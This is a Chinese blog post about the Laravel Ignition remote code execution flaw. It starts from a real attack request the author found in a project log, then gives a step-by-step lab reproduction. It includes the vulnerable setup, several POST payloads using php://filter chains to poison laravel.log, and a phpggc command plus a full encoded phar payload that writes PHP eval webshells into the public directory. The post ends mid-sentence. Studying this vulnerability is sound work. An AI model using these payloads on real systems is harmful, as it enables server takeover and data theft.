近期查看公司项目的请求日志,发现有一段来自俄罗斯首都莫斯科(根据IP是这样,没精力溯源)的异常请求,看传参就能猜到是EXP攻击,不是瞎扫描瞎传参的那种。日志如下(已做部分修改):
[2023-11-17 23:54:34] local.INFO:
url : http://xxx/_ignition/execute-solution
method : POST
ip : 109.237.96.251
ua : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
payload : {"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution","parameters":{"variableName":"zzzz","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
file : []
header : {"content-type":"application/json"}
time : 38.50
mem : 20 MB
user_id : 0
response : ""
还有几个请求日志特别长,需要多个请求一起利用才可Pwn,在此处就不展示了。
发现漏洞时已经是半夜了,考虑到防止公司项目中招又不影响业务。直接封禁了这个莫斯科的IP,并直接在框架的public目录下建立了_ignition/execute-solution目录,因为nginx访问目录的优先级比laravel路由优先级高,再次访问就是403了。
等配置完了,最后发现是虚惊一场,因为项目用了更高的laravel和Ignition版本,生产与测试环境的版本已经是打过补丁的版本了。
Laravel Ignition
整体:
Ignition组件有路由对外开放,且未做充分的过滤逻辑,在Laravel中利用php://filter协议编码将日志当做phar文件使用,利用phar反序列化漏洞,组成调用链,可生成一句话木马。
关键点:
./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件中的makeOptional中的file_get_contents()参数未进行过滤,参数又是对外的开放的,且run()方法又直接将不安全的数据保存到了文件,部分源码如下:
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
可生成一句话木马,利用一句话木马,PHP可以对文件,对数据库,进行各种增删改查操作,相当于服务器沦陷,危险程度可想而知。
git clone https://github.com/laravel/laravel.git
cd laravel
git checkout e849812
composer install
composer require facade/ignition==2.5.1
cp .env.example .env
#使用服务器启动项目或者php artisan serve看个人喜好,我的访问站点是192.168.3.180
url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "zzzz",
"viewFile": "larvel.log"
}
}
若程序提示ErrorException: file_get_contents(larvel.log): failed to open stream: No such file or directory in file说明环境配置正确。
#这一步不能报错,如果报错,请重新再来
url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "zzzz",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
#这一步报错没关系
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
#此处的/Host/laravel,实际上是根据之前的报错信息获取的,因为开启了debug模式。
php -d "phar.readonly=0" /test/phpggc/phpggc Laravel/RCE5 "$c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:]+ '=00' for i in sys.stdin.read()]).upper())"
#将生成出来的poc再次发送给laravel项目,记得将乱码的末尾添加一个a,这一步报错没关系
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=6B=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=75=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=51=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=43=00=52=00=6A=00=50=00=53=00=64=00=6C=00=59=00=32=00=68=00=76=00=49=00=46=00=42=00=45=00=4F=00=58=00=64=00=68=00=53=00=45=00=46=00=6E=00=57=00=6C=00=68=00=61=00=61=00=47=00=4A=00=44=00=5A=00=32=00=74=00=59=00=4D=00=55=00=4A=00=51=00=56=00=54=00=46=00=53=00=59=00=6B=00=6F=00=79=00=52=00=57=00=35=00=59=00=55=00=32=00=73=00=33=00=53=00=55=00=51=00=34=00=4B=00=33=00=77=00=67=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=67=00=4C=00=30=00=68=00=76=00=63=00=33=00=51=00=76=00=62=00=47=00=46=00=79=00=59=00=58=00=5A=00=6C=00=62=00=43=00=39=00=77=00=64=00=57=00=4A=00=73=00=61=00=57=00=4D=00=76=00=63=00=32=00=56=00=79=00=64=00=6D=00=56=00=79=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=63=00=37=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=6C=00=65=00=47=00=56=00=6A=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=7A=00=61=00=47=00=56=00=73=00=62=00=46=00=39=00=6C=00=65=00=47=00=56=00=6A=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=6C=00=64=00=6D=00=46=00=73=00=4B=00=43=00=64=00=6D=00=61=00=57=00=78=00=6C=00=58=00=33=00=42=00=31=00=64=00=46=00=39=00=6A=00=62=00=32=00=35=00=30=00=5A=00=57=00=35=00=30=00=63=00=79=00=67=00=69=00=4C=00=30=00=68=00=76=00=63=00=33=00=51=00=76=00=62=00=47=00=46=00=79=00=59=00=58=00=5A=00=6C=00=62=00=43=00=39=00=77=00=64=00=57=00=4A=00=73=00=61=00=57=00=4D=00=76=00=63=00=79=00=35=00=77=00=61=00=48=00=41=00=69=00=4C=00=43=00=42=00=69=00=59=00=58=00=4E=00=6C=00=4E=00=6A=00=52=00=66=00=5A=00=47=00=56=00=6A=00=62=00=32=00=52=00=6C=00=4B=00=43=00=4A=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=31=00=70=00=59=00=57=00=6D=00=68=00=69=00=51=00=32=00=64=00=72=00=57=00=44=00=46=00=43=00=55=00=46=00=55=00=78=00=55=00=6D=00=4A=00=4B=00=4D=00=6B=00=56=00=75=00=57=00=46=00=4E=00=72=00=4E=00=30=00=6C=00=45=00=4F=00=43=00=73=00=69=00=4B=00=53=00=6B=00=37=00=4A=00=79=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=6E=00=52=00=68=00=54=00=5A=00=51=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=78=00=70=00=55=00=50=00=36=00=64=00=78=00=54=00=61=00=73=00=5A=00=2B=00=50=00=68=00=55=00=73=00=47=00=31=00=6C=00=44=00=31=00=59=00=79=00=47=00=48=00=4A=00=4D=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a"
}
}
url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
#如果这一步出错,请重新再来,这一步不能报错,如果报错,下面的流程走不下去。
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///Host/laravel/storage/logs/laravel.log"
}
}
此时已经在项目的public目录下,生成了s.php和server.php的一句话木马,内容为
if (! Str::startsWith($path, ['/', './'])) {
return false;
}
if (! Str::endsWith($path, '.blade.php')) {
return false;
}
//缺点就是代码库不会被同步,一般情况下vendor下的文件是不推荐修改的。
是Laravel debug模式下,在程序报错时用于展现漂亮的错误页面的扩展。
vendor/facade/ignition/src/IgnitionServiceProvider.php中设定的路由有前置中间件,调用了vendor/facade/ignition/src/Http/Middleware/IgnitionEnabled.php中间件,中间件对debug配置有验证
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents()、file_put_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
简单用法案例:
//将字符串base64编码后存入文件
file_put_contents("php://filter/write=convert.base64-encode/resource=example.txt","Hello World");
//从文件中读取数据并base64解码
file_get_contents("php://filter/read=convert.base64-decode/resource=example.txt");
传入的参数被file_get_contents()接收,file_get_contents()和file_put_contents()支持php://filter协议,起到把转码类型的字符串当做代码来解析的作用。如果传入php函数会被当做字符串去处理,而不会当做代码去执行。毕竟php也不会有这么大漏洞,随便传递php脚本就当做代码执行。
|:相当于linux的管道符号。
write:向数据流中写入数据,后面跟写入的数据流。
resource:要筛选过滤的数据流,参数跟文件路径。
convert:代表做格式转换的关键字。
iconv:转码关键字。
utf-8.utf-16le:utf-8转为utf-16le编码,注意转化后的数据占两个字节,还可能会产生不可打印字符。
quoted-printable-decode:将文本转换为 quoted-printable 格式。Quoted-printable 是一种用于将非 ASCII 字符编码为 ASCII 字符的传输编码方式,可参考PHP的quoted_printable_encode()函数,用来打印不可见字符的,因为utf-8.utf-16le转化之后,utf16-le字符的编码占两个字节,会出现一些不可打印的字符,此时为了防止file_get_contents()加载NULL字节的数据会导致PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line n产生的错误。
base64-decode:顾名思义,base64解码,但要注意,解码过程中会忽略掉非Base64字符的数据。
../storage/logs/laravel.log:被操作的文件。以public/index.php作为参考系。
vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件
makeOptional方法中的读操作:
参数接受的是原封不动传递过来的json,只要$parameters['viewFile']参数存在且可访问,那么$originalContents变量就可以获取日志的数据,流程能走到这个阶段,证明读文件没啥问题,此方法后续的代码可以直接跳过。
run方法中的写操作:
参数接受的是原封不动传递过来的json,makeOptional方法是被上方紧挨着的run方法调用,调用makeOptional方法后只要结果不是false,然后就写入文件。
所以这次请求的核心逻辑,提取出来,也就相当于
$file_content = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $file_content);
而且viewFile就是php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
再次精炼:
$file = "php://filter/write=convert.iconv.utf-8.utf-16le|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=F:/a.txt";
file_put_contents($file, 'text');
再次精炼(移除convert.quoted-printable-decode,照样可清空日志):
file_put_contents("php://filter/write=convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log", 'aaaabbbcc');
转化:
file_put_contents参数1可以理解成file_put_contents('../storage/logs/laravel.log', base64_decode(iconv('utf-16le', 'utf-8', file_get_contents('../storage/logs/laravel.log'))));
当base64_decode函数的操作数据无法解码时会直接忽略,整个日志文件都无法被base64解码,base64只能返回空字符串,也就是内容,php://filter中resource参数是用于定位要操作的文件。
由于没加FILE_APPEND,那么会导致这个函数会清空文件数据后再在追加数据,追加给谁,和追加什么数据,就是刚才说的内容和文件。
file_put_contents参数2参数没追加到文件中,也可能是这个函数机制问题,曾经反复尝试,就是没有执行。
写入日志的流程同上,就不过多赘述了。
phpggc用来生成laravel反序列化漏洞,而上文使用php命令行生成phar文件,使用python来转码phar文件。
传入请求后, 只要能到file_get_contents()函数,至少传入的恶意代码,是可以写入到日志的,那怕是file_get_contents()报错,因为报错信息会携带编码过的恶意代码保存到日志,这也是能够传入恶意payload的主要原因。
当传入成功之后,进行了一遍quoted-printable-decode,把传入的payload变成了base64的数据,其余的日志不发生变化。然后将utf-16le.utf-8,此时其余的日志文件会发生乱码,但是恶意payload以前已经被转成utf-16le,此时转化为utf-8不会报错,而且能正常解析,到这一步可分离出正常代码与恶意代码。此时恶意payload是base64的,但是其余的乱码字符不是,由于base64的特性,遇到不是非base64字符的会忽略,然后日志文件也就剩下恶意代码了,然后走接下来的file_put_contents流程被写入日志,此时的日志文件已经成为了phar文件,如果使用phar,就可以执行它。
清除日志时,这个函数没有什么作用,关键是在向日志中传递恶意payload时,解码传递的payload为base64格式。
在第五步时,已经实现了quoted_printable_encode(),目的是为了防止执行file_get_contents()时
参与评论
手机查看
返回顶部